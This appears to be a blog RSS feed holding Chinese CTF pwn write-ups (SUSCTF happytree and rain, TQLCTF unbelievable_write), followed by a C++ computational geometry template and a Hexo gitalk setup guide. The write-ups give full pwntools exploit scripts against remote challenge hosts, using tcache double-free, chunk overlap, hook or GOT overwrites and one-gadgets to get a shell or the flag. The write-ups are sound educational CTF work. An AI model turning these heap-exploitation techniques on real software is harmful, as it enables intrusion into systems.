&lt;p&gt;漏洞点在C++的new和delete不对堆空间进行初始化，并且delete逻辑中存在指针未清零的情况，而且存在有符号整数和无符号整数混淆，构造payload泄露main_arena和堆地址后，利用libc-2.27构造tcache的doublefree，最后new出__malloc_hook地址，写入ogg获得shell&lt;/p&gt;
&lt;h2&gt;exp&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
import ctypes
import time

# io = process([&apos;./ld-2.27.so&apos;,&apos;./happytree&apos;], env={&apos;LD_PRELOAD&apos;: &apos;./libc.so.6&apos;})
io = remote(&apos;124.71.147.225&apos;, 9999)
elf = ELF(&apos;./happytree&apos;)
libc = ELF(&apos;./libc.so.6&apos;)
context.log_level = &apos;debug&apos;

idx = []

def add(data,content):
    global root
    io.sendlineafter(&apos;cmd&amp;gt; &apos;,&apos;1&apos;)
    io.sendlineafter(&quot;data: &quot;,str(data))
    io.sendlineafter(&quot;content: &quot;,content)
    idx.append(data)
    
def add1(data,content):
    io.sendlineafter(&apos;cmd&amp;gt; &apos;,&apos;1&apos;)
    io.sendlineafter(&quot;data: &quot;,str(data))
    io.sendafter(&quot;content: &quot;,content)
    idx.append(data)

def add2(data,content):
    io.sendlineafter(&apos;cmd&amp;gt; &apos;,&apos;1&apos;)
    io.sendafter(&quot;data: &quot;,str(data))

def free(data):
    io.sendlineafter(&apos;cmd&amp;gt; &apos;,&apos;2&apos;)
    io.sendlineafter(&quot;data: &quot;,str(data))
    if data in idx:
        del idx[idx.index(data)]

def show(data):
    io.sendlineafter(&apos;cmd&amp;gt; &apos;,&apos;3&apos;)
    io.sendlineafter(&quot;data: &quot;,str(data))

read_got = elf.got[&apos;read&apos;]
read_plt = elf.plt[&apos;read&apos;]

def to_size(size):
    return (ctypes.c_int(0xffffff00 | size)).value

def inv(x):
    return ctypes.c_int(x).value

# add(0x80 | 0x200, &apos;aaaa&apos;)
# add(0x80 | 0x100, &apos;aaaa&apos;)
# add(0x80 | 0x300, &apos;aaaa&apos;)
# free(0x80 | 0x200)
# for i in range(8):
add(inv(0x80 | (0xfff00000)), &apos;aaaa&apos;)
add(0x80 | (1*0x100), &apos;aaaa&apos;)
add(0x80 | (2*0x100), &apos;aaaa&apos;)
add(0x80 | (3*0x100), &apos;aaaa&apos;)
add(0x80 | (4*0x100), &apos;aaaa&apos;)
add(0x80 | (5*0x100), &apos;aaaa&apos;)
add(0x80 | (6*0x100), &apos;aaaa&apos;)
add(0x80 | (7*0x100), &apos;aaaa&apos;)
add(0x80 | (8*0x100), &apos;aaaa&apos;)
# add(0x80 | (9*0x100), &apos;aaaa&apos;)
# add(0x80 | (10*0x100), &apos;aaaa&apos;)

add(inv(0x80 | (0xff000000)), &apos;aaaa&apos;)

# free(0x80 | (10*0x100))
# free(0x80 | (8*0x100))
free(0x80 | (8*0x100))
free(0x80 | (7*0x100))
free(0x80 | (6*0x100))
free(0x80 | (5*0x100))
free(0x80 | (4*0x100))
free(0x80 | (3*0x100))
free(0x80 | (2*0x100))
free(0x80 | (1*0x100))

add(inv(0x80 | 0xffff0100), &apos;aaaa&apos;)
add(inv(0x80 | 0xffff0200), &apos;aaaa&apos;)
add(inv(0x80 | 0xffff0300), &apos;aaaa&apos;)
add(inv(0x80 | 0xffff0400), &apos;aaaa&apos;)
add(inv(0x80 | 0xffff0500), &apos;aaaa&apos;)
add(inv(0x80 | 0xffff0600), &apos;aaaa&apos;)
add(inv(0x80 | 0xffff0700), &apos;aaaa&apos;)
# show(0x80 | 0x700)
# gdb.attach(io)

add1(inv(0x80 | 0xffff0800), &apos;a&apos;*8)
show(inv(0x80 | 0xffff0800))
io.recvuntil(&apos;content: aaaaaaaa&apos;)
inp = io.recvuntil(&apos;\x7f&apos;).ljust(8, &apos;\x00&apos;)
inp = u64(inp)
log.info(hex(inp))
main_arena = inp - 96
log.info(hex(main_arena))
libc_base = main_arena - 0x00003EBC40
log.info(hex(libc_base))

free(inv(0x80 | 0xffff0700))
free(inv(0x80 | 0xffff0800))
add(0x20 | 0x100, &apos;a&apos;*23)
show(0x20 | 0x100)

io.recvuntil(&apos;\n&apos;)
hp = io.recvuntil(&apos;\n&apos;, drop=True).ljust(8, &apos;\x00&apos;)
hp = u64(hp)
log.info(hex(hp))

free(0x20 | 0x100)
add(inv(0x80 | 0xf0000000), &apos;aaaa&apos;)
add(inv(0x80 | 0xffff0700), &apos;aaaa&apos;)
free(inv(0x80 | 0xf0000000))
free(0)

ogg = [0x4f365,0x4f3c2,0x10a45c]

malloc_hook = libc_base + libc.sym[&apos;__malloc_hook&apos;]
p = p64(malloc_hook)
add1(0x80 | ((hp - (hp &amp;amp; 0xff)) &amp;amp; 0xffffffff), p)
print hex(0x80 | ((hp - (hp &amp;amp; 0xff)) &amp;amp; 0xffffffff))

time.sleep(4)
add1(0x80 | 0x100, &apos;aaaa&apos;)
p = p64(ogg[2] + libc_base)
add1(0x80 | 0x5000, p)
# gdb.attach(io)
add2(0x80 | 0x6000, p)
# free(inv(0x80 | 0xffff0400))

# print idx



# add(to_size(0x80 | 0x100))

io.interactive()
# print hex(to_size(10))

&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;rain&lt;/h1&gt;
&lt;h2&gt;题目附件&lt;/h2&gt;
&lt;p&gt;https://gitee.com/csomebro/ctftask/blob/master/2022-02_SUSCTF/rain.zip&lt;/p&gt;
&lt;h2&gt;分析&lt;/h2&gt;
&lt;p&gt;当realloc(ptr, 0)时，函数返回null，v7==0过不了if判断，故不会将指针清零，可以构造doublefree，利用doublefree和printf%s泄露在bss段上的_IO_2_1_stdout_地址，即可知道libc基址，最后向__free_hook写入ogg即可getshell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;SUSCTF-wp/image-20220301155642358.png&quot; alt=&quot;image-20220301155642358&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;exp&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.log_level=&apos;DEBUG&apos;
# io = process([&apos;./ld-2.27.so&apos;,&apos;./rain&apos;], env={&apos;LD_PRELOAD&apos;: &apos;./libc.so.6&apos;, &quot;TERM&quot;:&quot;xterm&quot;})
io = remote(&apos;124.71.185.75&apos;,9999)

e = ELF(&apos;./rain&apos;)
libc = ELF(&apos;./libc.so.6&apos;)

def frame(sh, sw, font, color, rainfall, table1):
    p = p32(sh)
    p += p32(sw)
    p += p8(font)
    p += p8(color)
    p += p32(rainfall)
    p += p32(0xdeadbeaf)
    p += table1
    return p


def config(fra):
    io.sendlineafter(&apos;ch&amp;gt; &apos;, &apos;1&apos;)
    io.sendafter(&apos;FRAME&amp;gt; &apos;, fra)


def show():
    io.sendlineafter(&apos;ch&amp;gt; &apos;, &apos;2&apos;)

def rain():
    context.log_level=&apos;INFO&apos;
    io.sendlineafter(&apos;ch&amp;gt; &apos;, &apos;3&apos;)
    io.recvuntil(&apos;\n&apos;)
    context.log_level=&apos;debug&apos;
p = frame(0x30,0x30,3,4,1,&apos;a&apos;*0x20)
config(p)
p = frame(0x30,0x30,3,4,1,&apos;&apos;)
config(p)
p = frame(0x30,0x30,3,4,1,&apos;&apos;)
config(p)

malloc_got = e.got[&apos;malloc&apos;]
log.info(hex(malloc_got))

p1 = p64(0x00000603000)
p1 += &apos;a&apos;*(0x20 - len(p1))
p = frame(0x30,0x30,3,4,1, p1)
config(p)
rain()
# show()

p = frame(0x30,0x30,3,4,1, &apos;a&apos;*0x20)
config(p)
show()   

io.recvuntil(&apos;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&apos;)
inp = io.recvuntil(&apos;\n&apos;, drop=True).ljust(8, &apos;\x00&apos;)
inp = u64(inp)
log.info(&quot;_IO_2_1_stdout_:&quot;+hex(inp))
libc_base = inp - libc.sym[&apos;_IO_2_1_stdout_&apos;]
log.info(&quot;libc_base:&quot;+hex(libc_base))

ogg = [0x4f365,0x4f3c2,0x10a45c]
malloc_hook = libc_base + libc.sym[&apos;__free_hook&apos;]
log.info(&quot;malloc_hook:&quot;+hex(malloc_hook))


rain()
p = frame(0x40,0x40,3,4,1,&apos;a&apos;*0x70)
config(p)
p = frame(0x40,0x40,3,4,1,&apos;&apos;)
config(p)
p = frame(0x40,0x40,3,4,1,&apos;&apos;)
config(p)

p1 = p64(malloc_hook)
p1 += &apos;a&apos;*(0x70 - len(p1))
p = frame(0x30,0x30,3,4,1, p1)
config(p)
rain()

p = frame(0x30,0x30,3,4,1, &apos;a&apos;*0x70)
config(p)
rain()

log.info(&quot;ogg:&quot;+hex(ogg[0]+libc_base))
p1 = p64(ogg[1]+libc_base) * (0x70 // 8)
p = frame(0x1,0x1,3,4,1, p1)
# gdb.attach(io)
config(p)
p = frame(0x1,0x1,3,4,1,&apos;&apos;)
config(p)

# gdb.attach(io)



io.interactive()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[TQLCTF]Pwn Tunbelievable_write wp</title><link>https://blog.csome.cc/p/TqlCTF-unbelievable-write/</link><guid isPermaLink="true">https://blog.csome.cc/p/TqlCTF-unbelievable-write/</guid><pubDate>Mon, 21 Feb 2022 10:08:13 GMT</pubDate><content:encoded>&lt;h1&gt;题目&lt;/h1&gt;
&lt;p&gt;https://gitee.com/csomebro/ctftask/blob/master/2022-02_TQLCTF/unbelievable_write.zip&lt;/p&gt;
&lt;h1&gt;解题&lt;/h1&gt;
&lt;p&gt;Checksec发现没开PIE&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;TqlCTF-unbelievable-write/image-20220221101153302.png&quot; alt=&quot;image-20220221101153302&quot; /&gt;&lt;/p&gt;
&lt;p&gt;IDA检查，主要逻辑就是三个函数c1 c2 c3&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;TqlCTF-unbelievable-write/image-20220221101252539.png&quot; alt=&quot;image-20220221101252539&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;TqlCTF-unbelievable-write/image-20220221101304998.png&quot; alt=&quot;image-20220221101304998&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;TqlCTF-unbelievable-write/image-20220221101314111.png&quot; alt=&quot;image-20220221101314111&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现只要修改target的值就可以得到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;TqlCTF-unbelievable-write/image-20220221101415508.png&quot; alt=&quot;image-20220221101415508&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在c2中可以伪造一个堆的chunk到tcache bin中，实现堆块堆叠，之后可以修改物理地址相邻的下一个堆块的fd指针，实现任意位置写（题目附件给了Dockerflie，使用Ubuntu20.04起的docker）&lt;/p&gt;
&lt;p&gt;在gdb调试中会发现target上方就是got表，直接伪造在target上伪造chunk在从c1中能够申请但free时会报错，过不了_int_free中的检验，解决方法就是修改free的got表，让他不要free不就行了hhhh，即在tcache中布置好两个伪造的堆块，一个用于修改free_got，一个用于修改target，由于不需要free了，堆块的地址也不需要16位对齐了。&lt;/p&gt;
&lt;h1&gt;Exp&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.log_level = &apos;debug&apos;
# io = process(&apos;./pwn&apos;)
io = remote(&apos;119.23.255.127&apos;, 21334)

def c1(size, content):
    io.sendlineafter(&apos;&amp;gt; &apos;, &apos;1&apos;)
    io.sendline(str(size))
    io.sendline(content)

def c11(size, content):
    io.sendlineafter(&apos;&amp;gt; &apos;, &apos;1&apos;)
    io.sendline(str(size))
    io.send(content)

def c2(offset):
    io.sendlineafter(&apos;&amp;gt; &apos;, &apos;2&apos;)
    io.sendline(str(offset))

def c3():
    io.sendlineafter(&apos;&amp;gt; &apos;, &apos;3&apos;)

# c2(0x0404080)
c1(0x40, &apos;aaa&apos;) 
c1(0x50, &apos;bbb&apos;) 
# 申请0x40和0x50堆块并直接进入tcache,其中0x50的堆块就是我要劫持的堆块，下文叫做vulnchunk 
p = &apos;a&apos; * 0x10 + p64(0) + p64(0x200)
c1(0x40, p)  # 此时申请的0x40堆块就是之前的那个，写入fakechunk的头，fakechunk大小为0x1f0
c2(0x40) # 计算偏移到fakechunk的地址，构造堆块堆叠
c1(0x80, &apos;aaa&apos;) # 先在tcache[0x80]位置放入一个堆块
p = &apos;a&apos; * 0x20 + p64(0) + p64(0x91) + p64(0x0000404080) # 修改vulnchunk的size为0x91
c1(0x1f0, p) 
c1(0x50, &apos;aaa&apos;) # 将vulnchunk申请出来，并立马free掉，此时会放入tcache[0x80]的位置
# 此时tcache[0x80]位置会有两个堆块，[0x80] -&amp;gt; vulnchunk -&amp;gt; normalchunk
p = &apos;a&apos; * 0x20 + p64(0) + p64(0xa1) + p64(0x404018) 
c1(0x1f0, p)
# 修改vuln再次修改size为，0xa1，并篡改fd指针为目标写入地址，此时0x404018是free_got地址
# 此时的tcache[0x80] -&amp;gt; vulnchunk -&amp;gt; free_got chunk

c1(0x90, &apos;aaa&apos;) # 在0x90中先放一个堆块后续会用到
c1(0x80, &apos;aaa&apos;) # 将vulnchunk申请出来，free之后会放入tcache[0x90]位置
# 此时tcache[0x90] -&amp;gt; vulnchunk -&amp;gt; normal chunk
# 此时tcache[0x80] -&amp;gt; free_got chun，即下一个0x80的堆块就是free_got地址的堆块
p = p64(0x00401418) + p64(0x401040) + p64(0x401050)
c1(0x80, p) 
# 将free_got内容写为c3函数地址，并复原下面一部分got表
#由于结尾需要一个\n，我就把\n放到了__stack_check_fail的got表中了（反正也不会执行
p = &apos;a&apos; * 0x20 + p64(0) + p64(0xb1) + p64(0x404080)
c1(0x1f0, p)
# 重复上述修改vulnchunk fd指针操作，将target地址写入
# 此时tcache[0x90] -&amp;gt; vulnchunk -&amp;gt; target
c1(0x90, &apos;aaa&apos;) # 将vulnchunk取出，此时tcache[0x90] -&amp;gt; target
c1(0x90, &apos;aaa&apos;) # 将target取出，并修改其中的值，由于free_got中是c3函数，所以会自动调用使其打印出flag

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>二维计算几何模板</title><link>https://blog.csome.cc/p/cg-template/</link><guid isPermaLink="true">https://blog.csome.cc/p/cg-template/</guid><pubDate>Tue, 14 Dec 2021 13:59:50 GMT</pubDate><content:encoded>&lt;h1&gt;前提条件&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;cmath&amp;gt;
#include &amp;lt;algorithm&amp;gt;
using namespace std;
typedef double temType; // 需要用到的类型
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;点（向量）&lt;/h1&gt;
&lt;h2&gt;已知&lt;/h2&gt;
&lt;p&gt;$(x,y)$，点坐标或向量坐标&lt;/p&gt;
&lt;h2&gt;函数&lt;/h2&gt;
&lt;p&gt;相加、相减、与常数相加、点乘、叉乘、旋转、标准化&lt;/p&gt;
&lt;h3&gt;向量旋转&lt;/h3&gt;
&lt;p&gt;$$
\begin{bmatrix} \cos \theta &amp;amp; -\sin \theta \ \sin \theta &amp;amp; \cos \theta  \end{bmatrix}
\begin{bmatrix} x \ y \end{bmatrix} =
\begin{bmatrix} x\cos\theta-y\sin\theta \ x\sin\theta+y\cos\theta \end{bmatrix}
$$&lt;/p&gt;
&lt;h2&gt;代码&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 点或向量
struct point{
    temType x, y;
    point(): x(0), y(0){}
    point(temType _x, temType _y): x(_x), y(_y){}
    point(const point &amp;amp;t){x = t.x;y = t.y;};
    point operator-(const point&amp;amp; t) const{return {x-t.x, y-t.y};}   // 相减
    point operator+(const point&amp;amp; t) const{return {t.x+x, t.y+y};}   // 相加
    point operator*(temType t) const{return {x*t, y*t};}            // 与常数相乘
    temType cdot(const point&amp;amp; t) const{return t.x*x+t.y*y;}                // 点乘
    temType times(const point&amp;amp; t) const{return x*t.y-y*t.x;}               // 叉乘
    bool operator==(const point&amp;amp; t) const{return x==t.x &amp;amp;&amp;amp; y==t.y;}
    bool operator!=(const point&amp;amp; t) const{return x!=t.x || y!=t.y;}
    temType length() const{return sqrt(x*x+y*y); }
    void normalize() {                                                  //标准化
        temType sqt = sqrt(x*x+y*y);
        x = x/sqt; y = y/sqt;
    }
    point rotation(temType t) const{                                    //向量旋转
        temType cost=cos(t), sint=sin(t);
        return {x*cost-y*sint, x*sint+y*cost};
    }
};
typedef struct point pit;
typedef struct point vtr;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;极坐标点&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;struct polar{
    temType p, e;
    polar(temType _p, temType _e): p(_p), e(_e){}
};
typedef struct polar plr;

polar toPolar(const pit&amp;amp; t){ return {sqrt(t.x*t.x+t.y*t.y),atan2(t.y,t.x)}; }
pit toRect(const plr&amp;amp; t){ return {t.p*cos(t.e), t.p*sin(t.e)}; }
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;线段&lt;/h1&gt;
&lt;h2&gt;已知&lt;/h2&gt;
&lt;p&gt;已知线段两端端点$A,B$&lt;/p&gt;
&lt;h2&gt;函数&lt;/h2&gt;
&lt;p&gt;跨立实验，快速排斥实验&lt;/p&gt;
&lt;h2&gt;代码&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 线段
struct segment{
    pit A, B;
    segment(const pit&amp;amp; _A, const pit&amp;amp; _B): A(_A), B(_B){}
    pit midpoint() const{return {(A.x+B.x)/2.0, (A.y,B.y)/2.0};} // 中点
    bool rapidRejectionExp(const segment&amp;amp; t) const { // 快速排斥实验 TODO 这里有一些错误
        pit minTmp(min(A.x, B.x), min(A.y, B.y));
        pit maxTmp(max(A.x, B.x), max(A.y, B.y));
        return  (t.A.x &amp;gt;= minTmp.x &amp;amp;&amp;amp; t.A.x &amp;lt;= maxTmp.x) &amp;amp;&amp;amp; (t.A.y &amp;gt;= minTmp.y &amp;amp;&amp;amp; t.A.y &amp;lt;= maxTmp.y) ||
                (t.B.x &amp;gt;= minTmp.x &amp;amp;&amp;amp; t.B.x &amp;lt;= maxTmp.x) &amp;amp;&amp;amp; (t.B.y &amp;gt;= minTmp.y &amp;amp;&amp;amp; t.B.y &amp;lt;= maxTmp.y);
    }
    bool straddleExp(const segment&amp;amp; t) const{ // 跨立实验
//        if(!rapidRejectionExp(t)) return false;
        vtr AB = B-A, tba = t.A-t.B;
        temType t1 = AB.times(t.A-A) * AB.times(t.B-A), t2 = tba.times(A-t.B)*tba.times(B-t.B);
        if(t1 &amp;lt; 0 &amp;amp;&amp;amp; t2 &amp;lt; 0) return true;
        else return false;
    }
};
typedef struct segment seg;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;直线与射线&lt;/h1&gt;
&lt;h2&gt;已知&lt;/h2&gt;
&lt;p&gt;已知直线上一点和向量，$P,\vec{s}$&lt;/p&gt;
&lt;h2&gt;函数&lt;/h2&gt;
&lt;p&gt;获得直线上的一点&lt;/p&gt;
&lt;h3&gt;求两直线交点&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;cg-template/image-20211208010814258.png&quot; alt=&quot;image-20211208010814258.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;公式
$$
P=A-\frac{\vec{b}\cdot\vec{BA}}{\vec{b}\cdot\vec{a}}\cdot\vec{a}
$$&lt;/p&gt;
&lt;h2&gt;代码&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;struct line{
    pit P;
    vtr s;
    line(const pit&amp;amp; _P, const vtr&amp;amp; _s): P(_P), s(_s) {s.normalize();}
    pit getPoint(temType t) const {return P + s*t;}
    bool ispParallel(const line&amp;amp; t) const{return s.times(t.s)==0;} // 平行
    bool isCoincide(const line&amp;amp; t) const{return s.times(t.s)==0 &amp;amp;&amp;amp; ((s.times(P-t.P)==0));} // 重合
    pit intersection(const line&amp;amp; t) const{ return P - s * (t.s.times(P-t.P) / t.s.times(s)); }
};
typedef struct line line; // 直线
typedef struct line ray; // 射线
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;圆&lt;/h1&gt;
&lt;h2&gt;已知&lt;/h2&gt;
&lt;p&gt;圆心$O$，半径$r$&lt;/p&gt;
&lt;h2&gt;代码&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;struct circle{
    pit O;
    temType r;
    circle(const pit&amp;amp; _O, temType _r): O(_O), r(_r){}
};
typedef struct circle cle;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;直线与圆&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;cg-template/image-20211207210954395.png&quot; alt=&quot;image-20211207210954395&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;已知&lt;/h2&gt;
&lt;p&gt;直线：$P$点坐标$(P_x,P_y)$，$\vec{s}=(s_x,s_y)$&lt;/p&gt;
&lt;p&gt;圆：$O$点坐标$(O_x,O_y)$，圆的半径$r$&lt;/p&gt;
&lt;h2&gt;推导&lt;/h2&gt;
&lt;p&gt;$$
|OE|= \frac{\vec{s} \times \vec{PO}}{|\vec{s}|} \
|PE|= \frac{\vec{s} \cdot \vec{PO}}{|\vec{s}|}\
|AE|=|BE|=\sqrt{r^2-|OE|^2}\
|PA|=|PE|-|AE|\
|PB|=|PE|+|BE|\
A=P+\frac{|PA|}{|\vec{s}|}\cdot\vec{s}\
B=P+\frac{|PB|}{|\vec{s}|}\cdot\vec{s}
$$&lt;/p&gt;
&lt;h2&gt;代码&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;seg intersectionOfLineAndCircle(const line&amp;amp; p, const cle&amp;amp; c){
    vtr PO = c.O - p.P;
    temType OE = p.s.times(PO), PE = p.s.times(PO);
    temType tmp = sqrt(c.r*c.r-OE*OE);
    return {p.getPoint(PE-tmp), p.getPoint(PE+tmp)};
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;凸包&lt;/h1&gt;
&lt;h2&gt;已知&lt;/h2&gt;
&lt;p&gt;已知一个二维坐标图中每个顶点，求&lt;strong&gt;最小周长&lt;/strong&gt;能够包含所有所有顶点的凸包&lt;/p&gt;
&lt;h2&gt;思路&lt;/h2&gt;
&lt;p&gt;先将点双关键字排序，横坐标为第一关键字，纵坐标为第二关键字&lt;/p&gt;
&lt;p&gt;排序之后&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;cg-template/image-20211212014228314.png&quot; alt=&quot;image-20211212014228314&quot; /&gt;&lt;/p&gt;
&lt;p&gt;图片向量方向迭代方向&lt;/p&gt;
&lt;p&gt;之后维护单调单调栈，其中栈顶为$S_1$，栈顶第二元素为$S_2$，当前检查的点为$P$，由于凸包是不会出现右转的，所以当出现$\vec{S_2S_1}\times\vec{S_1P}&amp;lt;0$说明栈顶的元素不是最优凸包，弹出栈顶重复上一步。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;cg-template/image-20211212015343214.png&quot; alt=&quot;image-20211212015343214&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;cg-template/image-20211212015443970.png&quot; alt=&quot;image-20211212015443970&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;cg-template/image-20211212020720648.png&quot; alt=&quot;image-20211212020720648&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第一次循环迭代之后，会发现求完了下凸包先在需要倒转迭代方向，再次遍历&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;cg-template/image-20211212020937318.png&quot; alt=&quot;image-20211212020937318&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;cg-template/image-20211212021008797.png&quot; alt=&quot;image-20211212021008797&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;cg-template/image-20211212021050303.png&quot; alt=&quot;image-20211212021050303&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;cg-template/image-20211212021139971.png&quot; alt=&quot;image-20211212021139971&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第二次迭代完善上凸包，最终会形成一个最短周长的能够包含所有顶点的凸包&lt;/p&gt;
&lt;p&gt;注意：运行结果最后还会添加一次初始节点，那么周长就为$$\sum_{i=0}^{tp-1}|\vec{p_ip_{i+1}}|$$&lt;/p&gt;
&lt;h2&gt;代码&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const int N = 1e5+10;
pit p[N];
int stk[N&amp;lt;&amp;lt;1];
int tp;

bool cmp(pit &amp;amp;a, pit &amp;amp;b){
    if(a.x == b.x) return a.y &amp;lt; b.y;
    return a.x &amp;lt; b.x;
}

int main() {
    debug;
    int n;
    temType xt, yt;
    cin &amp;gt;&amp;gt; n;
    for(int i = 0; i &amp;lt; n; ++i) {
        cin &amp;gt;&amp;gt; xt &amp;gt;&amp;gt; yt;
        p[i] = point(xt, yt);
    }
    sort(p, p+n, cmp);
    stk[++tp] = 0;
    for(int i = 1; i &amp;lt; n; ++i) {
        while (tp &amp;gt;= 2 &amp;amp;&amp;amp; ((p[stk[tp]]-p[stk[tp-1]]).times(p[i]-p[stk[tp]]) &amp;lt; 0)) tp--;
        stk[++tp] = i;
    }
    int tmp = tp;
    for(int i = n-1; i &amp;gt;= 0; --i){
        while (tp &amp;gt; tmp &amp;amp;&amp;amp; ((p[stk[tp]]-p[stk[tp-1]]).times(p[i]-p[stk[tp]]) &amp;lt; 0)) tp--;
        stk[++tp] = i;
    }
    temType ans = 0;
    for(int i = 1; i &amp;lt;= tp; ++i) {
        ans += (p[stk[i]] - p[stk[i-1]]).length();
    }
    printf(&quot;%.2f&quot;, ans);
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>微调Hexo主题Anatolo接入gitalk</title><link>https://blog.csome.cc/p/Anatolo-pug-gitalk/</link><guid isPermaLink="true">https://blog.csome.cc/p/Anatolo-pug-gitalk/</guid><pubDate>Tue, 14 Dec 2021 08:58:54 GMT</pubDate><content:encoded>&lt;h1&gt;pug语法&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://www.pugjs.cn/api/getting-started.html&quot;&gt;入门指南 – Pug 模板引擎中文文档 | Pug 中文网 (pugjs.cn)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;html基础都不牢的我也是能看懂pug语法的&lt;/p&gt;
&lt;h1&gt;Anatolo源码分析&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;D:\CSOMEBLOG\THEMES\ANATOLO\LAYOUT 目录下文件内容
│  archive.pug
│  category.pug
│  index.pug
│  mixins.pug
│  page.pug
│  post.pug
│  tag.pug
│  tags.pug
│
└─partial
comments.pug
footer.pug
head.pug
layout.pug
nav.pug
search.pug
sidebar.pug
social_links.pug
toc.pug&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;不难看出是有comments.pug的，不过阅读之后发现并没有gitalk的设置，打开post.pug发现在最底下有一个comment.pug的引用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Anatolo-pug-gitalk/image-20211214090854393.png&quot; alt=&quot;image-20211214090854393&quot; /&gt;&lt;/p&gt;
&lt;p&gt;根据gitalk官方文档需要将下列代码加入主题中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdn.jsdelivr.net/npm/gitalk@1/dist/gitalk.css&quot;&amp;gt;
  &amp;lt;script src=&quot;https://cdn.jsdelivr.net/npm/gitalk@1/dist/gitalk.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;

  &amp;lt;!-- or --&amp;gt;

  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://unpkg.com/gitalk/dist/gitalk.css&quot;&amp;gt;
  &amp;lt;script src=&quot;https://unpkg.com/gitalk/dist/gitalk.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
上面两个选一个加入head块中

&amp;lt;div id=&quot;gitalk-container&quot;&amp;gt;&amp;lt;/div&amp;gt; 这一行加入到对应需要评论模组的地方

&amp;lt;script&amp;gt;
var gitalk = new Gitalk({
  clientID: &apos;&apos;, // GitHub Application Client ID
  clientSecret: &apos;&apos;, // GitHub Application Client Secret
  repo: &apos;&apos;      // 存放评论的仓库
  owner: &apos;&apos;,          // 仓库的创建者，
  admin: [&apos;&apos;],        // 如果仓库有多个人可以操作，那么在这里以数组形式写出
  id: location.pathname,      // 用于标记评论是哪个页面的，确保唯一，并且长度小于50
})

gitalk.render(&apos;gitalk-container&apos;);    // 渲染Gitalk评论组件
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先是head部分，不难发现在head.pug是初始化head内容的pug文件&lt;/p&gt;
&lt;p&gt;只需将head中加入下列代码即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if theme.gitalk
    if theme.gitalk.enable
        link(rel=&quot;stylesheet&quot; href=&quot;https://cdn.jsdelivr.net/npm/gitalk@1/dist/gitalk.css&quot;)
        script(src=&quot;https://cdn.jsdelivr.net/npm/gitalk@1/dist/gitalk.min.js&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后就是评论模块的位置&lt;/p&gt;
&lt;p&gt;在commemts.pug中加入一下代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if theme.gitalk
    if theme.gitalk.enable
        div#gitalk-container(style=&quot;padding-left: 50px;padding-right: 50px;padding-bottom: 70px&quot;)
        script. 
            var gitalk = new Gitalk({
            clientID: &quot;#{theme.gitalk.clientID}&quot;,
            clientSecret: &quot;#{theme.gitalk.clientSecret}&quot;,
            repo: &quot;#{theme.gitalk.repo}&quot;,
            owner: &quot;#{theme.gitalk.owner}&quot;,
            admin:  [&quot;#{theme.gitalk.admin}&quot;],
            id: md5(decodeURI(location.pathname)),      // Ensure uniqueness and length less than 50
            language: &apos;zh-CN&apos; 
            })
            gitalk.render(&apos;gitalk-container&apos;)
